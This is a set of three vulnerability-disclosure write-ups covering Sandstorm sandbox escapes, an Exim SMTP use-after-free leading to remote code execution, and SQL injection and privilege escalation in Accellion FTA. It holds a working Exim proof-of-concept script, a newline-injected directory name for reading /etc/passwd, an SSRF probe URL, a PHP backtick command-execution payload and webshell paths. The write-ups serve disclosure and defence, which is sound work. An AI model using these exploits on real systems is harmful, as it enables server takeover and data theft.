In early 2017, we had a pentesting target protected with Sandstorm. Sandstorm is a web-based platform which allows users to install their web apps, such as WordPress, GitLab, etc. The main feature of Sandstorm is that it containerizes every app in its own sandbox. Therefore, even though we had found several vulnerabilities of the apps, we still could not put a threat to the server.
In order to leverage the vulnerabilities, we put part of efforts into review of Sandstorm’s source codes, and tried to escape the sandbox to impact the whole server. Finally, we found a number of uncommon and interesting vulnerabilities, and received CVE IDs as follows:
CVE-2017-6198 (Denial of Service)
CVE-2017-6199 (Bypassing Authorization Schema)
CVE-2017-6200 (Insecure Direct Object References)
CVE-2017-6201 (Server-Side Request Forgery)
Exploitation Details
CVE-2017-6198
This is a DoS created by system resource exhaustion. The root cause is that Sandstorm does not have a comprehensive policy to limit the amount of resource used by every apps run on it. In src/sandstorm/supervisor.c++ only the maximum number of files opened by each process was limited. See the codes below:
Since supervisor does not restrict the amount of subprocesses and storage usage, attackers can raise a resource exhaustion attack to crash the server by simply uploading a malicious app which keeps calling fork() (aka the “fork bomb”) or consumes huge storage space.
CVE-2017-6199
Usually Sandstorm will designate unique permissions to the specific members of a certain organization, and the default membership validation method is to check user’s email address and see whether the string after @ exists in their white list. See the codes below:
Therefore, when an attacker fills in an email like [email protected],[email protected] and the system will automatically consider the attacker a member of the aaa.bbb organization.
Another key factor that contributes to the successful attack lies in one of the features when users log on Sandstorm. Users does not need to set up passwords for Sandstorm. Each time when the users need to log onto the service, they only need to fill in their email address, and they’ll receive a set of random unique password for login. The reason why the example above works is because the system treats [email protected],[email protected] as a user from aaa.bbb domain, and the random password will be sent to the two email addresses, [email protected] and [email protected] As long as one can receive the password, they can log in to use the service.
Below is a quick demonstration:
On Sandstorm, restrict access to users from domain aaa.bbb only.
On login page, fill in [email protected],[email protected] for the email field.
(Note: at the front end, the email field is checked with HTML5 validation, but it is not further checked for validity at the back end)
In our pentesting, the target website allowed users from validated domains to install their own apps. Therefore, through this bypass exploit, further attacks could be accomplished by combining other vulnerabilities described in this blog post (CVE-2017-6198, CVE-2017-6200, CVE-2017-6201).
CVE-2017-6200
This is an interesting vulnerability. Totally two little validation flaws were exploited to initiate this attack!
On Sandstorm, owners of each Grain (Sandstorm container, in short, an app sandbox) can download their backup data for the app. But because of the two vulnerabilities in the packing process, an attacker can pack the files under the /etc and /run directories located on the server outside the sandbox. The security issues were as follows:
The packing process has hid /var, /proc, /etc and other sensitive directories, but did not hide /etc.host and /run.host these two directories. These directories are the aliases for the directories /etc and /run on the server respectively, which are relatively newer features.
The system will pack the legitimate files, have them sorted out, and create zip packages through the standard input interface. The separation between files are determined by line-breaks (\n). As a result, when a line-break string appears in the file name, illegal path file names can be injected and packed with zip. Although the app checks whether there is a line-break in the file name, but the directory name was not checked.
By using these two vulnerabilities together, the attacker simply has to create a directory in the sandbox /var/exp\n/etc.host/passwd\n , then backup files containing /etc/passwd on the server can be retrieved through backup downloading function.
Screenshot of a real-world scenario:
First, create a new directory in Grain /var/exp\n/etc.host/passwd\n, and use the Grain Backup function to download the backup file.
After unzipping the backup file, from etc.host we’ll see /etc/passwd of the server outside the sandbox.
CVE-2017-6201
This is a classic SSRF (Server-Side Request Forgery) issue. Sandstorm allow installation of apps from arbitrary sources, and an attacker can simply let the server access a certain location by providing an installation URL. The problem was identified on https://[target]/install/xxxChangeItEveryTimexxx?url=http://127.0.0.1:22/ This sample link confirms whether the server’s port 22 is open.
(Parse Error, which implies server’s port 22 is open)
Through this pentesting experience, we consider Sandstorm a safe platform with outstanding security mechanisms. This is mainly attributed to its fundamental design rationale: to assume that every app installed is malicious. With this vigilant assumption, Sandstorm’s defence mechanisms for the core system become comprehensive and watertight. Apart from the server-side protection, some common client-side attacks (such as XSS, CSRF) are handled properly by Sandstorm’s unique countermeasures, such as host name randomization. That is, it is very difficult for attackers to sabotage the server by simply manipulating the apps, and so does privilege escalation through attacking at the client-side.
Nevertheless, such an impressive platform still had some minor mistakes which led to security issues. Most of the vulnerabilities found this time are improper usages of libraries or negligence of existing defence architecture while introducing new features. These types of vulnerability are also common in our other projects. We would like to take the opportunity to remind developers, always present a comprehensive security review especially when developing new features to avoid vulnerabilities caused by the gaps between defence mechanisms.
On 23 November, 2017, we reported two vulnerabilities to Exim. These bugs exist in the SMTP daemon and attackers do not need to be authenticated, including CVE-2017-16943 for a use-after-free (UAF) vulnerability, which leads to Remote Code Execution (RCE); and CVE-2017-16944 for a Denial-of-Service (DoS) vulnerability.
About Exim
Exim is a message transfer agent (MTA) used on Unix systems. Exim is an open source project and is the default MTA on Debian GNU/Linux systems. According to our survey, there are about 600k SMTP servers running exim on 21st November, 2017 (data collected from scans.io). Also, a mail server survey by E-Soft Inc. shows over half of the mail servers identified are running exim.
Affected
Exim version 4.88 & 4.89 with chunking option enabled.
According to our survey, about 150k servers affected on 21st November, 2017 (data collected from scans.io).
Vulnerability Details
Through our research, the following vulnerabilies were discovered in Exim. Both vulnerabilies involve in BDAT command. BDAT is an extension in SMTP protocol, which is used to transfer large and binary data. A BDAT command is like BDAT 1024 or BDAT 1024 LAST. With the SIZE and LAST declared, mail servers do not need to scan for the end dot anymore. This command was introduced to exim in version 4.88, and also brought some bugs.
Use-after-free in receive_msg leads to RCE (CVE-2017-16943)
Incorrect BDAT data handling leads to DoS (CVE-2017-16944)
Use-after-free in receive_msg leads to RCE
Vulnerability Analysis
To explain this bug, we need to start with the memory management of exim. There is a series of functions starts with store_ such as store_get, store_release, store_reset. These functions are used to manage dynamically allocated memory and improve performance. Its architecture is like the illustration below:
Initially, exim allocates a big storeblock (default 0x2000) and then cut it into stores when store_get is called, using global pointers to record the size of unused memory and where to cut in next allocation. Once the current_block is insufficient, it allocates a new block and appends it to the end of the chain, which is a linked list, and then makes current_block point to it. Exim maintains three store_pool, that is, there are three chains like the illustration above and every global variables are actually arrays.
This vulnerability is in receive_msg where exim reads headers:
receive.c: 1817 receive_msg
It seems normal if the store functions are just like realloc, malloc and free. However, they are different and cannot be used in this way. When exim tries to extend store, the function store_extend checks whether the old store is the latest store allocated in current_block. It returns False immediately if the check is failed.
store.c: 276 store_extend
Once store_extend fails, exim tries to get a new store and release the old one. After we look into store_get and store_release, we found that store_get returns a store, but store_release releases a block if the store is at the head of it. That is to say, if next->text points to the start the current_block and store_get cuts store inside it for newtext, then store_release(next->text) frees next->text, which is equal to current_block, and leaves newtext and current_block pointing to a freed memory area. Any further usage of these pointers leads to a use-after-free vulnerability. To trigger this bug, we need to make exim call store_get after next->text is allocated. This was impossible until BDAT command was introduced into exim. BDAT makes store_get reachable and finally leads to an RCE.
Exim uses function pointers to switch between different input sources, such as receive_getc, receive_getbuf. When receiving BDAT data, receive_getc is set to bdat_getc in order to check left chunking data size and to handle following command of BDAT. In receive_msg, exim also uses receive_getc. It loops to read data, and stores data into next->text, extends if insufficient.
receive.c: 1817 receive_msg
for(;;){intch=(receive_getc)(GETC_BUFFER_UNLIMITED);/* If we hit EOF on a SMTP connection, it's an error, since incoming
SMTP must have a correct "." terminator. */if(ch==EOF&&smtp_input/* && !smtp_batched_input */){smtp_reply=handle_lost_connection(US" (header)");smtp_yield=FALSE;gotoTIDYUP;/* Skip to end of function */}
In bdat_getc, once the SIZE is reached, it tries to read the next BDAT command and raises error message if the following command is incorrect.
smtp_in.c: 628 bdat_getc
caseBDAT_CMD:{intn;if(sscanf(CSsmtp_cmd_data,"%u %n",&chunking_datasize,&n)<1){(void)synprot_error(L_smtp_protocol_error,501,NULL,US"missing size for BDAT command");returnERR;}
In exim, it usually calls synprot_error to raise error message, which also logs at the same time.
smtp_in.c: 628 bdat_getc
staticintsynprot_error(inttype,intcode,uschar*data,uschar*errmess){intyield=-1;log_write(type,LOG_MAIN,"SMTP %s error in \"%s\" %s %s",(type==L_smtp_syntax_error)?"syntax":"protocol",string_printing(smtp_cmd_buffer),host_and_ident(TRUE),errmess);
The log messages are printed by string_printing. This function ensures a string is printable. For this reason, it extends the string to transfer characters if any unprintable character exists, such as '\n'->'\\n'. Therefore, it asks store_get for memory to store strings.
This store makes if (!store_extend(next->text, oldsize, header_size)) in receive_msg failed when next extension occurs and then triggers use-after-free.
Exploitation
The following is the Proof-of-Concept(PoC) python script of this vulnerability. This PoC controls the control flow of SMTP server and sets instruction pointer to 0xdeadbeef. For fuzzing issue, we did change the runtime configuration of exim. As a result, this PoC works only when dkim is enabled. We use it as an example because the situation is less complicated. The version with default configuration is also exploitable, and we will discuss it at the end of this section.
# CVE-2017-16943 PoC by meh at DEVCORE
# pip install pwntools
frompwnimport*r=remote('127.0.0.1',25)r.recvline()r.sendline("EHLO test")r.recvuntil("250 HELP")r.sendline("MAIL FROM:<[email protected]>")r.recvline()r.sendline("RCPT TO:<[email protected]>")r.recvline()r.sendline('a'*0x1250+'\x7f')r.recvuntil('command')r.sendline('BDAT 1')r.sendline(':BDAT \x7f')s='a'*6+p64(0xdeadbeef)*(0x1e00/8)r.send(s+':\r\n')r.recvuntil('command')r.send('\n')r.interactive()
Running out of current_block
In order to achieve code execution, we need to make the next->text get the first store of a block. That is, running out of current_block and making store_get allocate a new block. Therefore, we send a long message 'a'*0x1250+'\x7f' with an unprintable character to cut current_block, making yield_length less than 0x100.
Starts BDAT data transfer
After that, we send BDAT command to start data transfer. At the beginning, next and next->text are allocated by store_get.
The function dkim_exim_verify_init is called sequentially and it also calls store_get. Notice that this function uses ANOTHER store_pool, so it allocates from heap without changing current_block which next->text also points to.
receive.c: 1734 receive_msg
Call store_getc inside bdat_getc
Then, we send a BDAT command without SIZE. Exim complains about the incorrect command and cuts the current_block with store_get in string_printing.
Keep sending msg until extension and bug triggered
In this way, while we keep sending huge messages, current_block gets freed after the extension. In the malloc.c of glibc (so called ptmalloc2), system manages a linked list of freed memory chunks, which is called unsorted bin. Freed chunks are put into unsorted bin if it is not the last chunk on the heap. In step 2, dkim_exim_verify_init allocated chunks after next->text. Therefore, this chunk is put into unsorted bin and the pointers of linked list are stored into the first 16 bytes of chunk (on x86-64). The location written is exactly current_block->next, and therefore current_block->next is overwritten to unsorted bin inside main_arena of libc (linked list pointer fd points back to unsorted bin if no other freed chunk exists).
Keep sending msg for the next extension
When the next extension occurs, store_get tries to cut from main_arena, which makes attackers able to overwrite all global variables below main_arena.
Overwrite global variables in libc
Finish sending message and trigger free()
In the PoC, we simply modified __free_hook and ended the line. Exim calls store_reset to reset the buffer and calls __free_hook in free(). At this stage, we successfully controlled instruction pointer $rip.
However, this is not enough for an RCE because the arguments are uncontrollable. As a result, we improved this PoC to modify both __free_hook and _IO_2_1_stdout_. We forged the vtable of stdout and set __free_hook to any call of fflush(stdout) inside exim. When the program calls fflush, it sets the first argument to stdout and jumps to a function pointer on the vtable of stdout. Hence, we can control both $rip and the content of first argument.
We consulted past CVE exploits and decided to call expand_string, which executes command with execv if we set the first argument to ${run{cmd}}, and finally we got our RCE.
Exploit for default configured exim
When dkim is disabled, the PoC above fails because current_block is the last chunk on heap. This makes the system merge it into a big chunk called top chunk rather than unsorted bin.
The illustrations below describe the difference of heap layout:
To avoid this, we need to make exim allocate and free some memories before we actually start our exploitation. Therefore, we add some steps between step 1 and step 2.
After running out of current_block:
Use DATA command to send lots of data
Send huge data, make the chunk big and extend many times. After several extension, it calls store_get to retrieve a bigger store and then releases the old one. This repeats many times if the data is long enough. Therefore, we have a big chunk in unsorted bin.
End DATA transfer and start a new email
Restart to send an email with BDAT command after the heap chunk is prepared.
Adjust yield_length again
Send invalid command with an unprintable charater again to cut the current_block.
Finally the heap layout is like:
And now we can go back to the step 2 at the beginning and create the same situation. When next->text is freed, it goes back to unsorted bin and we are able to overwrite libc global variables again.
The following is the PoC for default configured exim:
A demo of our exploit is as below.
Note that we have not found a way to leak memory address and therefore we use heap spray instead. It requires another information leakage vulnerability to overcome the PIE mitigation on x86-64.
Incorrect BDAT data handling leads to DoS
Vulnerability Analysis
When receiving data with BDAT command, SMTP server should not consider a single dot ‘.’ in a line to be the end of message. However, we found exim does in receive_msg when parsing header. Like the following output:
220 devco.re ESMTP Exim 4.90devstart_213-7c6ec81-XX Mon, 27 Nov 2017 16:58:20 +0800
EHLO test
250-devco.re Hello root at test
250-SIZE 52428800
250-8BITMIME
250-PIPELINING
250-AUTH PLAIN LOGIN CRAM-MD5
250-CHUNKING
250-STARTTLS
250-PRDR
250 HELP
MAIL FROM:<[email protected]>
250 OK
RCPT TO:<[email protected]>
250 Accepted
BDAT 10
.
250- 10 byte chunk, total 0
250 OK id=1eJFGW-000CB0-1R
As we mentioned before, exim uses function pointers to switch input source. This bug makes exim go into an incorrect state because the function pointer receive_getc is not reset. If the next command is also a BDAT, receive_getc and lwr_receive_getc become the same and an infinite loop occurs inside bdat_getc. Program crashes due to stack exhaustion.
smtp_in.c: 546 bdat_getc
if (chunking_data_left > 0)
return lwr_receive_getc(chunking_data_left--);
This is not enough to pose a threat because exim runs a fork server. After a further analysis, we made exim go into an infinite loop without crashing, using the following commands.
25 November, 2017 16:27 CVE-2017-16943 Patch released
28 November, 2017 16:27 CVE-2017-16944 Patch released
3 December, 2017 13:15 Send an advisory release notification to Exim and wait for reply until now
Remarks
While we were trying to report these bugs to exim, we could not find any method for security report. Therefore, we followed the link on the official site for bug report and found the security option. Unexpectedly, the Bugzilla posts all bugs publicly and therefore the PoC was leaked. Exim team responded rapidly and improved their security report process by adding a notification for security reports in reaction to this.
Credits
Vulnerabilities found by Meh, DEVCORE research team.
meh [at] devco [dot] re
Accellion File Transfer Appliance (FTA) is a secure file transfer service which enables users to share and sync files online with AES 128/256 encryption. The Enterprise version further incorporates SSL VPN services with integration of Single Sign-on mechanisms like AD, LDAP and Kerberos.
Vulnerability Details
In this research, the following vulnerabilities were discovered on the FTA version FTA_9_12_0 (13-Oct-2015 Release)
Cross-Site Scripting x 3
Pre-Auth SQL Injection leads to Remote Code Execution
Known-Secret-Key leads to Remote Code Execution
Local Privilege Escalation x 2
The above-mentioned vulnerabilities allow unauthenticated attackers to remotely attack FTA servers and gain highest privileges successfully. After the attackers fully controlled the servers, they will be able to retrieve the encrypted files and user data, etc.
After reporting to CERT/CC, these vulnerabilities were assigned 4 CVEs (CVE-2016-2350, CVE-2016-2351, CVE-2016-2352, CVE-2016-2353).
Areas Affected
According to a public data reconnaissance, there are currently 1,217 FTA servers online around the world, most of which are located in the US, followed by Canada, Australia, UK, and Singapore.
Determine from the domain name and SSL Certificate of these servers, FTA is widely used by governmental bodies, educational institutions, enterprises, including several well-known brands.
Pre-Auth SQL Injection leads to RCE (CVE-2016-2351)
After code reviewing, a pre-authentication SQL Injection vulnerability was found in FTA. This vulnerability grants malicious users access to sensitive data and personal information on the server through SQL Injection, and launch remote code execution (RCE) by further exploiting privilege-escalating vulnerabilities.
The key to this problem lies in the client_properties( ... ) function called by security_key2.api!
/home/seos/courier/security_key2.api
Among these parameters, $g_app_id$g_username$client_id and $password are controllable by the attackers. And although the function _decrypt( ... ) handles the passwords, it does not involve in the triggering of the vulnerability.
One thing to pay special attention is that the value of $g_app_id will be treated as a global variable which represents the current Application ID in use, and will be applied in opendb( ) accordingly. The code in opendb( ) includes the following lines:
In mysql_select_db, the name of the database to be opened is controllable by the user. If wrong value was given, the program will be interrupted. Therefore, $g_app_id must be forged correctly.
The following lines are the most important function client_properties( $client_id ).
The parameters passed onto the function client_properties( ... ) will be assembled into SQL statements. Among all the functions joining the assembling, construct_where_clause( ... ) is the most crucial one.
In the function construct_where_clause( ... ), every parameter is protected by the string mysql_real_escape_string except for $client_id. Judging from the coding style of the source code, it might be a result of oversight. Therefore, SQL Injection can be triggered by sending out corresponding parameters according to the program flow.
In addition, FTA database user has root privileges with FILE_PRIV option enabled. By exploiting INTO OUTFILE and writing their own PHP code to write-enabled directory, user will be able to execute code remotely!
PoC
The created PHP file will be located at
http://<fta>/courier/themes/templates/.cc.php
Known-Secret-Key leads to Remote Code Execution
In the previous vulnerability, one requirement to execute code remotely is the existence of a write-enabled directory for injecting webshell. But in reality, chances are there is no write-enabled directory available, thus fail to execute code through SQL Injection. But there is another way to help us accomplish RCE.
The precondition of this vulnerability is Known-Secret-Key stored in the database
This is not a problem, since the database can be accessed with the SQL Injection vulnerability mentioned earlier. Also, although there are some parameter filters in the code, they can be bypassed!
/home/seos/courier/sfUtils.api
If Known-Secret-Key has been acquired, the output of decrypt( $_POST[fc] ) will be controllable. And despite that the succeeding regular expressions work as a function name whitelist filter, they do not filter parameters.
Therefore, the only restriction for injecting random codes in the parameters is to exclude () in the strings. But thanks to the flexible characteristic of PHP, there are lots of ways to manipulate, just to name two examples here.
Execute system commands directly by using backticks (`)
user_profile_auth(`$_POST[cmd]`);
A more elegant way: use the syntax INCLUDE to include the tmp_name of the uploaded files, so that any protection will give way.
Local Privilege Escalation (CVE-2016-2352 and CVE-2016-2353)
After gaining PHP page privileges, we discovered that the privileges were assigned to user nobody. In order to engage in advanced recon, the web environment had been observed. After the observation, two possible privilege escalation vulnerabilities were identified.
1. Incorrect Rsync Configuration
/etc/opt/rsyncd.conf
The module name soggycat is readable and writable to anyone for the directory /home/soggycat/, therefore the SSH Key can be written into /home/soggycat/.ssh/ and then use the soggycat credential to login.
2. Command Injection in “yum-client.pl”
To enable system updates through web UI, the sudoers configuration in FTA exceptionally allows the user nobody to directly execute commands with root privileges and update software with the program yum-client.pl.
/etc/sudoers
YUM_CLIENT is the command for proceeding updates. Part of the codes are as follows:
/usr/local/bin/yum-client.pl
After taking a closer look on ymm-client.pl, a Command Injection vulnerability was found on the parameter --cdrom. This vulnerability enables attackers to inject any commands into the parameter and execute as root.
Thus, using the commands below
will grant execution freely as root!
Backdoor
After gaining the highest privilege and carrying out server recon, we identified that several backdoors had been already planted in FTA hosts. One of them is an IRC Botnet which had been mentioned in Niara’s Accellion File Transfer Appliance Vulnerability.
Apart from that, two additional PHP Webshells of different types which had NEVER been noted in public reports were also identified. Through reviewing Apache Log, these backdoors might be placed by exploiting the CVE-2015-2857 vulnerability discovered in mid-2015.
One of the backdoors is PHPSPY, it is found on 62 of the online hosts globally. It was placed in
The other is WSO, found on 9 of the online hosts globally, placed in
https://<fta>/courier/themes/templates/imag.php
Acknowledgement
The vulnerability mentioned in this Advisory was identified in early 2016 while looking for vulnerabilities in Facebook, you can refer to the article “How I Hacked Facebook, and Found Someone’s Backdoor Script”.
Upon discovering the FTA vulnerability in early February, I notified Facebook and Accellion and both were very responsive. Accellion responded immediately, issuing patch FTA_9_12_40 on February 12th and notifying all affected customers about the vulnerability and instructions to install the patch. Accellion has been very communicative and cooperative throughout this process.
Timeline
Feb 6, 2016 05:21 Contact Accellion for vulnerability report
Feb 7, 2016 12:35 Send the report to Accellion Support Team
Mar 3, 2016 03:03 Accellion Support Team notifies patch will be made in FTA_9_12_40
May 10, 2016 15:18 Request Advisory submission approval and report the new discovery of two backdoors to Accellion
Jun 6, 2016 10:20 Advisory finalized by mutual consent